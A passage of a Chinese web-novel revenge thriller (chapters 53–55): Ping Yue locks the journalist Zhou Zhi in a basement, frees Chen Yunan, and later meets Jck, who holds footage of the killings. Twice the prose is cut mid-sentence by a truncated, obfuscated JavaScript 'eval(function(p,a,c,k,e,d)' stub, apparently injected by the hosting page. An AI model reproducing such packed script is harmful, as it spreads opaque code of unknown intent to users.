门扉,铁链哗啦啦响,从外面将门把手缠绕一圈又一圈,就像他们第一次来到地下室门口,铁链牢牢绑死门把手,禁止任何人进入。然而,他们还是进了,于是,范明胜死了,接下来,他也要死了…… 周志不甘心,想不明白,陈宇南是和平月一伙的吗?平月就是平成礼的女儿啊! “救人不是所有人的义务!我只是一个记者,我唯一要做的事情就是如实报道,这件事和我没关系!” “平月!” 周志大喊。 铁链砸在门上,彻底锁死了。 “如实报道吗?” 发动机轰鸣的声响里,平月的声音平平传进来,她问:“你如实报道了吗?” 周志懵了。 “我……” 平月说:“你没有如实报道。” 周志:“可是……记者也要分很多种啊,不是每个记者都要……就算是另一个记者,也不敢……” 平月:“所以你知道。” 是的,周志知道。他拍了百来张车祸现场的照片,地毯式地一寸一寸地拍,最严重的地方甚至连拍十几张。 平成礼的死,那颗被撞得稀烂的头颅,似乎并不像车祸。他知道,他回到局里,立刻把照片推到师父面前,说,这是谋杀,一定是谋杀! 他很坚定地说。 师父看了他一眼,说,这是一场意外事故,是一场车祸。 周志不懂。如果这是一场谋杀,一定比车祸更能获得广大关注。报道么,不就是要掀起惊涛骇浪吗? 师父问他,你知道这个人是谁吗? 周志:谁? 师父:平成礼。 周志不认识。师父让他去网上查一下。周志查了,平城最大的房地产老板,平成礼。 平城最大的房地产老板被人杀了! 周志激动地指着屏幕:“大新闻啊师父!” 师父说:交通局来过电话了,说希望今晚的两场车祸不会给我们的板块造成太大的拥挤。懂什么意思吗? 周志似懂非懂。 师父写下了新闻内容——一起意外交通事故,致两死一伤,肇事司机在逃。 周志问,为什么不报? 师父说,你为什么不去当服务员。 周志说:我想当记者。 师父说:对啊,你要当记者,别人要当服务员。每个人有每个人的岗位,每个人有每个人该做的事。服务员不是只端盘子,记者也不是所有事都要报。社会有一根横量杆,谁该做什么,做到哪种程度,早就注定。 周志依旧坚持:那记者不就是报道事实吗? “可以报啊。” 师父转过身,他坐在椅子里,周志站在旁边。他抬起眼,看着年少无知的周志,眼神慈爱,或者说是一潭死水。 周志忍不住颤了颤。 师父说:“你想报吗?”他把笔递给周志,站起身,让他来坐下。 周志抓着那只钢笔,被师父摁着坐了下去。周志只懵了几秒,便埋头在纸上打草稿。师父叫了他一声:小志啊,你今后有什么意向呢? 周志头也不抬地说:当然是留在电视台啊! 身后没有师父的回应,他回头看了一眼,师父正往楼外走。夜里的电视台,灯光明亮。明明是那种很璀璨耀眼的光芒,落在师父身上,却带着一层厚厚的霾,压得人喘不过气。 第二天,报纸报道,平城房地产老板平成礼,因车祸事故去世。 …… 每个人有每个人的位置、身份、应该做的事。每个记者有每个记者应该做的事,有记者报道美食,有记者报道花边新闻,有记者报道事实…… 而周志,不是那个会真实报道每一件事的记者。 为了自己的生涯,他不可能离开电视台去当服务员,他要留在电视台,继续当一名社会意义上的合格记者。 53. 第 53 章 铁链绕过最后一圈卡进锁扣,地下室的门完全锁死了。 陈宇南浑身都在抖,发抖,双手抖得手指出现了痉挛,不受控制地抽搐。 十分钟前,周志听见悦凌凌的惨叫,和他说去楼上看看。周志走时,手里的报纸随意搁在货架上。那份报纸被周志拿着看了好几分钟,只看一个板块,没有翻动过。他看的时候,神色像凝死的墨条,黑得难看。 陈宇南路过货架时,顺手薅出来瞅了一眼。 是一场车祸事故的报道,死的是平城房地产老板平成礼。这个名字……陈宇南有几分耳熟。 稍微想一想,就想起来。他小的时候,每回爸爸喝多了酒就喜欢提这个名字,说是可惜。说平成礼是一个在生意场上难得一见的好人。好人的意思,陈宇南不太懂,生意场上能有什么好人?但他懂爸爸的另一句话。爸爸说,平成礼很有天赋,年纪轻轻就把房地产行业抓牢了……他经常说着说着就哭,哭得很伤心。 妈妈说,没事,没关系,他不知道,我们也不知道。 陈宇南不知道妈妈为什么要这样安慰爸爸,但妈妈这样说了后,爸爸的哭声就小了些,渐渐变成叹息。 随着陈宇南越长越大,时间越流越快,爸爸不怎么提起那个名字了,现在是完全不提了。 平成礼……车祸事故是2012年1月4日晚上十点半发生的。报道记者是周志。 2012年1月4日。周志总是提起这个时间,每次提起,房子里所有人的脸色都很不好,急急忙忙要回自己房间。 所以,是这场车祸让他们聚集在这栋房子里一个接一个地死么? 陈宇南感到想笑,好神经的杀人理由。周志被杀,他能理解是因为周志和车祸有关,该死。那自己呢,才6岁的他,和这场车祸有什么关系? 他想起周志问的话,是不是你爸或者你妈开车把人撞没了又逃了? 最开始陈宇南很嫌弃这句话,撞死一个人才赔多少钱,需要逃么?现在,陈宇南开始认真思索这句话了,因为如果对方是平成礼的话,好像真的有点会想逃……妈妈奇怪的安慰方式在这个基础之上变得合理了。 所以,他爸或者他妈开车撞死了平成礼,然后对方的人想杀死自己? “陈宇南。” 熟悉的声音叫他。 陈宇南抬头,地下室楼梯上,平月站在那里叫他。 有什么东西快速从脑海里闪过去,陈宇南一下子抓住它。抓住的瞬间,因为认知反应不够及时,卡了壳,但身体反射性地绷紧,眼睛惊恐地瞪到极致大。 他说:“你、你是……平成礼的女儿?” 多么合理啊。 平成礼死了,平成礼的老婆死了,只留下一个四岁的女儿活着。算算年龄,就是平月这样的年纪。 女、22岁、姓平,平城人……她是真的一点都不遮掩。可惜,谁也没在最初意识到,现在,晚了。 平月说:“是的。你过来。” 是人都知道不该过去,因为对方是杀人犯,已经杀死五个人了,还会继续杀下去。 陈宇南可能不是人——他自己这样想的,不然他为什么会那么听话地走过去。一步一步,踩在破旧老式的铁楼梯上。鞋底和腐锈的铁板接触发出刺耳挠心的咔嚓咔嚓声,听得人后背发毛。 他不知道平月叫他过去做什么,是准备等他走上台阶,然后一把将他推下去,推进电力发动机的旋转叶片里绞死吗? 那种死状真可怖。陈宇南还不想死,更不想死得那么惨。 他几乎要问能不能换一个体面一点的死法给他。尽管他不想死,可他更知道,一个平月在一栋房子里,即将杀死九个人,是一件多么难的事情,更难的事是将他们九个人在同一时间全部聚集到这里。她一个人做不到,她有帮凶,应该说是很多的帮凶。 所以,他逃不掉。哪怕他把平月杀了,也逃不出去。 他的下场,只有死。 平月说:“你能帮我一个忙吗?” 陈宇南的声音在发抖:“什、么?” 平月说:“等会周志下来,帮我关上门。” 陈宇南回头看地下室,“关在地下室?” 平月:“嗯。” 可能他真的不是人吧,生下来只是为了活到24岁,生长出一副健康的肉\体和健全的脑袋,然后在这里给平月当一条听话的狗。 陈宇南拿到了那把铁链,他可以毫不费力地将铁链缠到平月脖颈上勒死她,或者将她绑住,威胁她放他走。 但他没这样做。他拿着铁链,躲在一楼楼梯转角的阴影里,平月就站在他旁边。 他们听见脚步声匆匆从楼上下来,很急促,似乎是下楼的人在楼上看见了什么可怕的事。周志下了楼,毫不犹豫转进地下室,蹬蹬蹬从地下室生锈的楼梯跑下去。 “陈宇南……” 他在地下室喊。 陈宇南从楼梯阴影走出去,看见周志急促停在楼梯的最后一层台阶上。在周志还没反应过来之前,陈宇南抓住地下室的门把手,用力带上门。 “嘭!” 门关得太用力,震得地面颤抖。周志快速冲上来。陈宇南急切地缠绕铁链,将门牢牢锁死。 …… “周志没有如实报道……你父亲不是车祸去世的吗?” 陈宇南靠在墙上,很累,很喘。明明没有做什么剧烈运动,只是关个门而已。但他就是感到累。 平月默认了。 陈宇南:“谁杀死的?” 平月:“你们。” 陈宇南急了:“我干什么了?我六岁能干什么?” 平月:“和你没关系。” 陈宇南:“我爸妈?” 平月往客厅走,让他跟上,“不算吧,真是不好意思,我也不知道你为什么在这里。” 他们正走过范明胜的尸体,腐烂的臭味熏得人脑皮发疼。陈宇南深深皱起眉,远离他:“既然和我没关系,那万一误杀我了,算什么?” 平月说:“算误杀。” 陈宇南:“……说真的。” 平月轻轻巧巧推开那扇不论他们用什么办法都打不开的房子大门,“你走吧。” 外面的暴雨扑腾滚进来,门角的空地咻地一会全打湿了,滴滴答答滚起一层水花。 “我不知道你能不能安全下山,但是……”平月对他露出友好的笑,“我的名单上没有你,你回去吧。” 外面天色乌黑,分不清是夜晚还是白天。密集的乌云遮天铺地,暴雨磅礴。 陈宇南觉得,就算外面没人追杀他,在这种天气之下,他也很难活着走下山。 陈宇南:“不能……跟你一起下山吗?” 平月:“不能。” 陈宇南:“为什么?” 平月:“把你放到这里的人会让你死。” “这……”陈宇南没想到她会说出自己有同谋这样的话,“不怕……我报警吗?” 平月笑了一下,是那种看单纯小孩说纯粹话的笑,“你这么单纯的吗?” 对啊,他能活着下山,至少证明了一点:他是平月的同谋。尽管他什么都没有做。不,他做了,他帮平月把周志关在地下室。 他终于知道为什么平月要他帮忙了,明明关门是一件简单的事情,却要他来做。 现在,他们是同谋。平月被捕,他也会被捕。 “走吧,注意安全,但愿你能活着。” 平月从墙边的立柜里抽出一个鼓足的登山包递给他。 “如果你能活着,我希望你再帮我做一件事。” 陈宇南:“什么?” 平月:“下山了,你就会知道。” 陈宇南莫名其妙地走进了雨夜。滂沱大雨像倾车而卸的碎石,一颗接一颗,噼里啪啦砸在人脸上、头上、身上,砸得陈宇南龇牙咧嘴。 他把沉重的登山包顶在头顶,匆匆跑进树林。 密集的树遮去了一半的雨幕,让他缓了一口气。不爱运动的他感到累,但不能休息。他拉开背包看了眼,全是食物。 登山包紧紧系在背上。陈宇南步履仓皇地往山下跑,连爬带滑地跑。 树枝擦过脸颊,草叶割破裤管,蛇的嘶嘶声悬在头顶。他不敢停,不敢回头,连鞋带松了都不敢蹲下系起来,只能跑,闷头跑,摔在地上了也要匍匐着抱头往山下滚。 平月没有杀他,那他就要活着,要活着回去。 他还要帮平月办事。 24岁这年,陈宇南将自己确诊为平月的一条走狗。 …… 陈宇南走了。平月关上了大门,切断了房子的电源。 明亮的灯光骤然熄灭,整栋房子陷入无尽的漆黑中。 平月站在房子中央。闻着空间里浓郁的恶臭,期间夹着零星的雨水湿气味。 很静,非常安静。安静之中有细微的磨蹭声,窸窸窣窣,像什么东西在黑夜里爬行。 平月听了一会,找到了发出声音的位置——头顶天花板。梁威还没死,在上面苟延残喘地爬。 断电了,空气循环系统也停了。这个密封的房子空气浑浊腐臭,梁威闻到源源不断的尸臭,闻多了,鼻腔干涸,额头发闷,视野都开始糊了。 他望着漆黑无尽的通风甬道,停电之后,甬道里是厚实的灰,铺天盖地往鼻子、眼里、嘴里钻,耳朵因为吃进太多灰变得雾蒙蒙的难受。呼吸不顺畅,人发晕。不知道是失血过多而晕,还是压抑到呼吸不到空气而晕。 他往前爬,爬一步,脑袋就晕一次,眼睛看见前方。手机电筒的灯光在瞳孔里晕成一片模糊的影。再爬一步,那片影撕裂成雾,隐隐缠绕在眼球前。 他不是专业的警察,没有受过专业的训练。他会感到累、饿、渴、疲倦,毅力不强,恒心不够,坚韧不见。脑袋晕得看什么都发糊,他往前爬转错了方向,一头撞在甬道壁上时,忽然很想躺下,躺在那里不想动。 最后还是凭借残缺的毅力往前爬了几步,紧紧只是几步。他趴在甬道里,闻着尸臭和血腥混杂一起的臭味,呼吸着越来越薄弱的空气,脑袋胀疼得什么都想不起,只有胀,昏胀,胀得太阳穴突突跳,似乎要穿透耳膜跳到体外。 他感觉自己快死了。真的要死了。 很后悔,无数后悔的情绪倾山倒海地淹没他。他想如果当时没有走,等交警来,哪怕交警扣了他,也只是拘留而已。他可以花钱找关系。 2012年,法律没有那么健全,有非常多的空子可以钻,甚至可以说四面八方都是空子。 他可以花钱,钱花得够多,交警能在原地将他当空气。可当时的他太年轻了,会害怕,不知道钱能买一切。而现在懂得太晚。 他躺在那里,想起别人打死人也能用钱摆平,没有蹲局子,想起每条街上吵架打架的夫妻,器官被切了也不犯罪,想起张情……张情…… 和张情是怎么认识的? 梁威有些忘记了,可是想一想,又想起来了。毕竟张情是一个对他而言很特殊的女人。 那是张情和已婚男人偷情,被男人老婆抓到了,在酒店 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那个孤零零的女人抬头咧开鲜艳的红唇,对他笑。她的瞳孔乌压压的映着路灯昏黄的光斑,像破了一颗眼泪在里面,波光粼粼。 那晚,他们去了酒店。 后来,他和张情时不时去酒店。 再后来,他的老婆知道了。他老婆大哭大闹大声质问他为什么。为什么,为什么,为什么,他也说不出为什么,男人出轨只是一瞬间的事,有时候是因为一个眼神,有时候是因为一句话,有时候是因为一个笑。 他和张情去酒店之前,两人统共说的话没有十句,但就是去了。比去了酒店更可怕的是,面对疯了一样的妻子,梁威想离婚。 他的妻子用不可置信的胀红的脸和瞪到极致大的瞳孔看他,哆嗦着身体,让他再说一遍。 梁威闭着嘴,没说。 他妻子突然疯了,开始摔东西,所有的东西,嘶吼着要去单位举报他。 梁威也慌了。他是不可能失去这份工作的。他说我错了,我改,我以后再也不做了,我对不起你。 嘴上安抚妻子,心里仍旧在计划离婚的事。当“离婚”两个字第一次说出口时,就回不去了。脑海里疯狂想要离婚,离婚干什么,他想和张情在一起。对,那个女人,他想和她在一起。 妻子回了娘家,带着孩子。梁威日复一日地上班,偶尔给张情打打电话。但张情不接,就像知道他遇上了麻烦不想掺和进来一样。梁威不但不生气,反而更热衷于给她打电话发信息。 大概是一个月之后,梁威接到报警,说文仓街有人打群架。他和同事过去,往人堆里一挤,第一眼就看见被打得倒在地上的张情。旁边一个彪悍的女人带着一群高大男人,再旁边还有一个西装革履的男人瑟缩着。 梁威终于知道了,张情不是不想掺和他的麻烦事,张情是腻了他了,重新找了个男人。 这一次,张情被打得有点惨,进了医院。她在医院躺了三天,没人去看她,除了梁威。梁威也不想去看她的,忍不住。 梁威坐在病床边,问她,就不能找个人好好过日子吗? 张情问:找谁,你吗? 梁威说,我要离婚了。 张情一下子笑了出来,很猛烈的笑,她笑得弯了腰,趴在床上,笑得浑身疼,笑得伤口在疼,疼得她嘶嘶的痛。她抬起身体,笑出眼泪的眼睛看着他:为了我离婚啊? 你很爱我啊? 她的目光咄咄逼人,梁威回答不上来。爱,爱的话,为什么他还没有离婚?不爱,不爱的话,为什么他要来看她? 她靠到枕头上,垂着眼睛瞥他踌躇的模样,痴痴笑了一声,说你们男人啊……真是让人恶心。 梁威走了,他去了妻子的娘家,认错求饶,将妻子和孩子接回了自己家。 他又变回了以前那个梁威,上班下班值班回家的梁威。往后很长时间都没再见到张情,有时候接到报警电话说哪里打架了,他会下意识想是不是张情,但当他和同事过去看了现场,失落和庆幸的情绪夹得他恍惚。 失落是没有张情,庆幸也是因为没有张情。 这一次,在大巴车上再次看见她,梁威忽然很清晰的意识到,他对张情不是爱,是无聊生活里的一点刺激。他想要在循规蹈矩里找一个突破口,张情就是那个突破口。 …… 空气越来越稀薄,梁威的呼吸逐渐急促,他想要更多的氧气,更多的呼吸。他拼命地吸气,只吸到满嘴的灰尘和腐烂味。 脑袋浑胀得什么都想不起了,连呼吸应该怎么呼吸都不知道了,他望着无尽黑暗的甬道,呼吸越来越若,瞳仁渐渐涣散。 他匍匐在地上,好像看见前方的黑暗里出现了一张脸,他儿子的脸,在前面,叫他爸爸,跳着叫着,挥着手,身后是红色、粉色、蓝色、绿色的滑滑梯,他刚从上面滑下来,很开心地叫他,说还想坐一次。 梁威伸出手去,想抓住他,想牵住他的手,想说好,我带你上去。 不上去了,没有了,那是他最后一次陪儿子了,以后、以后,再也陪不了了…… 54. 第 54 章 地下室陷入一片黑暗,周志的视野迟钝了两秒才反应过来自己看不见了。 他站在台阶上,耳朵里是发电机最后的嗡鸣。嗡鸣声渐渐低弱下去,旋转的风扇像关了开关,呜呜呜降速停止。 慢慢的,整个地下室都没声音了,变得异常寂静,静得人发慌。 周志抓着楼梯的扶手,手心的汗将扶手上的锈迹浸了下来,沙沙地黏在掌心,难受得腿脚都有些发软。耳朵除了能苍蝇的嗡嗡声,什么都听不见了,连最应该出现的老鼠都没有——他知道,这个地下室完全封死了,他出不去了。 他摸手机,裤兜是空的,才想起手机在房间里。擦着漆黑,凭着记忆,摸索到货架边。视野逐渐适应黑暗,能昏昏糊糊地看清一些模糊的影。他在模糊的影子里找工具,钳子、撬杆、锤子……看起来能用的工具都挂到身上,再慢慢摸回楼梯上。 用撬杆撬地下室的门,撬不开,一点缝隙都撬不开。门和墙壁嵌得很死、很牢,密不透风。 他拿着铁锤,一寸一寸地敲墙,意料之中又有点意料之外,每寸墙返回给他的回音都是闷而坚实的,说明这些墙壁是实墙,很厚的实墙,他用一把小小的铁锤是砸不透的。 他扶着墙,爬到楼梯的最顶端,敲天花板。天花板一向是最薄弱的,但凡能开一条口,他就可以出去。 咔——突如其来的闪光灯闪烁,刺痛了他适应黑暗的眼。抬头挡眼睛的时候,身体倾斜,整个人从栏杆上掉了下去,砸在地上。 半米的高度摔不出什么伤,但因为猝不及防,还是摔得很痛。 他缓过脑袋的晕眩,站起身用视线搜寻闪光灯劈过来的方向,如果有闪光灯,说明那是一个可以突破的口。 咔——又闪了一下,在他的正前方。周志不适应地眯了一下眼。咔——继续闪,这一次周志强行睁着眼,看清了那闪光灯是怎么回事。 那是挂在墙壁顶端的一台相机,开着定时拍摄模式,正对着他,每隔三秒拍摄一次,因为他在黑暗里,相机自动开启了闪光灯,每次拍摄会自动捕捉他的位置,启动闪光灯拍摄。 周志听见一声接一声的咔嚓声,看见一道接一道刺白的闪光灯,是他曾经的每一次拍摄,他拿着摄像机或相机,对准采访现场,咔咔咔咔狂拍。每次都要拍百来张,只为了选取其中最好的几张。有时候甚至能拍上上千张,回到电视台把相片导入电脑时,能把人选疯。 其实这种拍摄更像那晚,2012年1月4日,车祸现场那晚。因为路灯太暗了,他又是新手,又想赶着时间在第二天发表这篇报道,于是狂按快门键,闪光灯疯闪。 周志坐在地上,任由它拍。像当初,那个小女孩坐在车上,任由他拍。 拍到相机没了电,也许是内存卡爆满,周志的眼睛都被闪糊了,闭上眼时,无数黑色、金色、白色的虚线在视野里乱飞,像看多了太阳,强光晃花了眼,连脑袋都在发晕。 “不拍了么?” 周志疲倦地问。 回答他的是漫天飞下的纸张,哗啦啦从天而降,落在他头顶、身上、周边。他伸手抓了一张,是照片——范明胜的断腿。 再抓一张,余有为含满血沫的嘴。 是他拍摄的照片,这些天游走在房子里,拍摄的所有死掉的人的照片。 从他第一天到这里,他拍下的房子全景——玻璃铸造的房子落在草坪中央,四周树冠茂密。一楼的客厅,二楼中空走廊,一间间房门上挂着的铭牌。平月、悦凌凌、陈宇南、周志、梁威、张情、赵淑萍、钱晓文、余有为、范明胜。 范明胜……对,周志是第一天来的,和赵淑萍一车来的,最早到的。赵淑萍人老了,来了就去休息了,他一个人将房子里里外外都转了一遍。房子里有什么,房子外有什么,他全知道。 二楼楼梯口左右两间房,一间平月,一间范明胜。周志来的第一天就看见了,门上有范明胜的铭牌。后来没有了,在平月的手机掉了之后。梁威问他来的时候有没有看见铭牌,他说有,可是看着平整光滑的门扉又不确定了。回到自己房间,在相机里看见了铭牌才肯定是有人把铭牌摘掉了,故意摘的。 事情变得很有趣,不是简单的学习那种。他没有第一时间揭穿,是因为他想知道会发生什么事,能发展到哪一步。后来,范明胜死了,梁威说是谋杀,他却不敢说了,也有一半原因是不想说,因为他掌握了很多看似关键的证据,还拿着数不清的第一手现场照片,等他回去,这些东西都是成就他的底牌。 人在一个行业做到一定年龄,要么是闲着养老,要么是咬牙往上爬。周志,从认清自己不是一个报道真实新闻的记者开始,他就是那个用尽一切办法往上爬的人。 他在电视台还有空间,还能爬更高。 一个人死了,是一桩新闻。两个人死了,是一桩新闻。三个人死了,是一桩大新闻。十个人死了,是一桩特别大的新闻。而十个人被谋杀了,是一件会惊动全国的大案件。 他手里就捏着一桩能惊动全国的大案件,他甚至想好了标题,想好了从哪里着手报道,想好了如何营销能让他的报道火爆全网,也想好了台长会叫他去谈话,要么是上面想压新闻,要么是夸他这次做得好。 网络飞速发达的时代,电视台愈发不好做了,这种大案件的第一手新闻会给电视台带回一批大流量,这是创收,是升职的好机会。 他甚至想到了自己会升到哪里,偏偏……遗漏掉了那个人,平月。她会杀死这个房子里每一个人。他拍下的照片,一张都带不出去。曾经兴奋到睡不着觉的想法都变成了幻想,注定无法实现。迎接他的不是流量变现和升职,是因为休假结束而没有去上班被辞退,或者成为失踪案上的一员。妻子没了丈夫,孩子没了父亲,父母没了儿子。 “想报吗?” 平月的声音在头顶响起,从那台相机处透过来。 “手机在楼梯背面。” 周志爬过去,手往楼梯背面摸,摸到了用胶带绑在上面的手机。他撕掉胶带,地下室终于有了一丝光。手机屏幕微弱的光芒。 视野还有些花,看字带着重影,但能辨清是什么字。 有网,有信号。 周志问:“报什么?” 平月说:“随你。” 周志打了110,报警。 电话通了,一个男警员接起电话。 周志的心跳很快,心脏很慌,手在抖。他只是随便一拨,没想到真的能拨出去。 来不及思考为什么会这样,他开口第一句话就是:“救命。” “救我!” “有人死了,有人要杀我!” 人的理智在报警电话接通的瞬间彻底崩塌了,他像一个不成熟的孩子,慌得脑袋糊了浆,有很多话想说,出口的却只有救命,似乎只有“救命”两个字才能将他的境地淋漓尽致展现出来。 对方用标准的普通话问他现在在哪里,情况什么样,谁要杀他,为什么杀他。 周志终于体会到了网上的绝望——紧急情况之下为什么有这么多为什么! 他怕电话在下一秒被切断,就像张情的那个电话。他赶紧报出地址,“我在巴斯镇的山上,快救我,已经死了八个人了!快!” “哪座山?”对方这样问他。 周志气疯了,拿着手机大吼:“你定位啊!” 对方说:“你叫什么名字,死的八个人分别叫什么名字,你们为什么在山上,怎么死的,我这边登记完会核实情况,情况属实立刻派人救援。” 周志:“核实什么情况?人已经死了,你怎么核实?” 对方持续问他的名字。 周志只好报出所有人的名字。 对方说:“好的,我这边登记了,你知道凶手是谁吗?” 周志说:“平月。” 对方:“她为什么杀你们?” 周志:“因为……” 周志挂掉了电话,主动挂断的。他终于回味出了不对劲,报警不应该是这样的,尽管他没报过警。 像是知道他的怀疑,平月笑了,问他:“你怎么知道不是真警察?” 周志:“果然不是。” 平月说:“是真的。” 她的话刚说完,周志手里的手机响了。一个座机号码,手机显示的归属地来源于平城三江公安局。 真的是真的。 周志有一瞬间的懵。他刚才挂掉了真警察的电话…… 就是这瞬间的错神,电话被切断了,陷入了无信号。 平月说:“好了,给你的机会用完了,要写报道吗。你只有三十分钟的时间。” 写报道……她的目的,只有让他写报道。周志很清楚的意识到,她想知道他这一次是会如实报道,还是像曾经那样选择性报道。 也许,他如实报道,她就会放了他。 可是如实报道……他把一张张犯罪现场的照片贴到网上去,说是平月杀的,为什么杀,因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他报道不报道实际上没什么意义,假设如实报道了平月放他离开,他还会惹上一身的麻烦,比如为什么所有人死了只有他活着回去了,为什么他有那么清晰的现场照片,为什么现场有他的痕迹,为什么他毫发无伤……什么“平月为父母报仇”这一句话根本不成立,没有任何证据能证明平月的父母是被他们杀死的,也没有证据证明平月有报复心理,一直以来,哪怕死了人,她除了最初害怕之外,一直平平静静——周志是现在才意识到的。 回去,平月身上有伤——她伤过脚,能验出来。她杀过人,心够狠,找人往她身上捅两刀,她简直就是量身打造的受害者。而周志自己,是完美的犯罪者。 报道,只会给自己给电视台给家里惹麻烦。而他悄无声息失踪,电视台会补偿他的家人。慰问金和各项福利。 如果刚才打通的电话真的是警察,那也算是给平月留下案底了。平月回去后,应该会被警察查。至于查过之后的事,他也不想知道了。 权衡利弊后,周志放下了手机。 30分钟是很快的,特别是人在思考问题的时候,像沙一样从指缝里漏走了。 手机在断掉信号之后,网络也断了,电量也告急了。 周志放下手机,背靠着楼梯,坐在那儿。 黑暗里,他的呼吸平稳,像睡着了。也是真的睡着了,他最近太累了,要踩着点去拍照片,不能被人发现,要猜忌谁是凶手,为什么要杀他们,睡觉提心吊胆,从来没睡好过。太累了,当一切事情想通之后、放下之后,更累。 心底涌上来的疲倦将他淹没,他感到痛苦,还有松了口气的感觉。18年前,他为了留在电视台,选择了轻描淡写的只报道车祸,报道完之后他就后悔了。人是有梦想的,他也想当那种实时报道的记者,什么事都敢报道的记者。可在选择的道路口,他没有勇气去选那条充满荆棘的道路,他害怕。 他明白师父为什么会那样,很多事情不是记者不报,是大部分会报的记者都去牢里了,于是越来越少的记者报道,市面上开始充斥着大量的明星花边新闻、小区租户和物业因为下水道堵塞而吵架、广场舞大妈震耳欲聋的音响到底合不合法、某某地方的油菜花开了是春节出游拍照打卡的好地方……什么占地没有赔偿款、防护措施不到位导致工人开化粪池爆炸致死三十多人村书记不管不问、税务局私收红包破额开出两亿发票、工厂为压缩成本循环利用回收材料等等,根本没法报,一报,就会知道这个社会早已腐败破烂,那些报道除了给人的头顶添加一笔乌云外没有任何意义。人们要的,是海晏河清,是平稳社会里的平稳生活,是朝平稳幸福发展的平稳社会。 他学会了当一个圆润的记者,报道人们希望看见的,而不是将真实的垃圾展现给他们,也无法展现,垃圾只能待在阴暗角落,等待被人掩埋处理。 地下室的空气稀薄了,周志在睡眠里感到窒息,呛醒了。他张大嘴,大口大口喘气。人往最低洼的地方爬,去找有风的地方,挣扎着想要呼吸空气。 那是他最后对社会的挣扎,本能地挣扎,挣扎着死掉了,被二氧化碳闷死在黑暗里。 55. 第 55 章 外面的暴雨停了,变成淅淅沥沥地滴,一串串小水珠。乌云移走,露出灰蒙蒙的天色。 黑暗的房子透进一丝一缕的光,平月在昏暗里行走,她轻车熟路地上了二楼,走过自己的房间,悦凌凌的房间,陈宇南的房间,停在周志门口。她推门进去,打开内室的门,人体粪便的气味扑来。悦凌凌死了。 她朝下一间房走,梁威的房间,厕所门大开,张情死了。 张情的房间,天花板上的通风甬道里,梁威死了。赵淑萍的房间,赵淑萍死了。钱晓文的房间,钱晓文死了。余有为的房间,余有为死了。 她下楼,站在一楼沙发前,范明胜死了。 站在地下室门口,周志死了。 都死了。 她坐在房子的大门口,绵绵细雨飘进来,落在她身上,浸得人骨头发凉。 远处的山脉连成一片乌青色,密集的树林,不知道陈宇南是活着还是死了。 中午的时候,天光微微晕开,露出明亮的颜色,太阳渐渐崭露头角,刺着她的眼睛,将她乌黑的眼珠照得澄澈发亮。 有车开了过来,黑色的保姆车,停在她面前。平月站起身,拉着行李箱走了过去。 玻璃房子在身后越来越远,阳光落在玻璃上,折射出炫目的光,屋檐上还挂着要落不落的雨水珠。 保姆车盘绕下山,直奔平城。 平月睡了三次觉,醒来时,车安稳停在地下室。司机从后视镜看她醒了,递给她一张电梯卡。 她下车,拖着行李进了电梯。刷卡。电梯载着她上了三十三楼。 电梯门打开,就有人站在外面迎接她,“平月小姐,欢迎您的到来,Jck正在等您。” 行李箱被她接走了,平月被带去Jck的办公室。办公室的门在身后关上,Jck从电脑前抬头。他推推脸上的银色眼镜,微微一笑,“你回来了。” “喝点什么,红茶绿茶咖啡,啊……我记得你喜欢喝热的纯净水。” 他让秘书送来热的纯净水。 平月坐在沙发里,看那杯滚烫的热水冒热气,透明杯壁被熨上一层薄雾,一会儿后化成水蒸气流到桌上,晕开一圈水。 Jck眯着眼问她:“不喝吗?” 平月端起滴水的水杯,喝了一口。 Jck就笑了,笑眯眯问她:“怎么样,比山上的水好喝吧。” 平月说:“天山水更好喝。” Jck哈哈大笑:“下回你来,我让人送天山水来。” 平月:“谢谢。” “恭喜你啊,完成心愿。”Jck双手交握在桌面,“现在,该兑现你的承诺了。” 平月点头,“你说。” Jck反问她:“喜欢玩游戏吗?” 平月:“不讨厌。” Jck:“那就去玩一场游戏吧,场上的钱大概是10亿,你可以赢,可以不赢,但你的目的只有一个,帮我带一个人出来。” “人带出来,我把录像还给你。”他转动电脑,屏幕面朝平月,平月看见录像,房子里的录像。 “其实这不能成为威胁你的证据,毕竟你没有动手往他们身上捅刀。”他划动屏幕,停在她开门让陈宇南离开的那一幕,“挺好奇,为什么放他走?我没有记错的话,他对你父母的死,见死不救。” 平月18岁那年,生日那天,收到一封信。牛皮纸装着的信,送到学校门口。她的舍友说在学校门口的小黑板上看见她的名字,把信给她带回来了,笑着问她谁邮的呀,什么年代了还寄信。 平月也不知道,但上面写了她的名字,还备注了让她亲手拆。她拆了,一张黑色的内存卡,手机电话卡那么大。还得找个U盘插电脑里才能放。 她在网上买了U盘。那天宿舍很空,大家都去上课,平月肚子疼,没去,窝在宿舍里正巧想起来,就拆了U盘放。 一段很模糊的录像,时间显示2012年1月4日22:00:00 平月永远记得这个日子。出车祸的那天,她其实不太记得那晚他们一家人去了哪里,只记得源源不断的血,来来往往的人,看见她又走开。母亲死了,父亲死了,有人摸了她,有人打了她,有人从车上拿走了东西。 她记得很多,也不记得很多。 录像播放的那一刻,那些不记得的细节全部乍现。她想起砸在父亲头上的石头,砸在自己头上的石头,血是热的,喷得到处都是,从额头流下去,把爸爸的白衬衣染黑了。有人拿走了他们的钱,一口袋的钱。 她看见撞他们的货车跑了,一个老人抱着孩子来看她,一脸慌张惊悚,然后跟着货车跑了。 有人从窗外伸手进来摸她的脸,笑得露出一口大黄牙,熏臭的烟味喷到她脸上,说真可惜,就要死了,不然长大了肯定是个漂亮的女人。 录像的角度,是一辆停在路边的私家车的摄像头拍下来的,正对车祸现场。将一切从头到尾,车是如何撞上去的,撞上之后发生了什么事,每一秒钟,每一分钟,每一个来了又走的人,每一辆开过去的车,全部录了下来。 一直录到警车来,120来,火葬场的车来,围观的人群从来到散去,录像的私家车启动汽车开走了,交警在四周寻了一遍没有找到摄像头也走了。 录像中断了。 平月从黑色屏幕里看见自己惨白的脸,发抖的身体,还有脸上的水。 那些不记得的记忆冒了出来,她想起来,那天很早,爸爸问她想不想去看流星一样的灯火。她说想看。爸爸开车带着她和妈妈,他们去了上海,是一栋很高很宏伟的酒店,他们坐在很高的楼层的窗边吃饭,爸爸去隔壁谈生意,她和妈妈一边吃饭一边从明净的落地窗往下看。 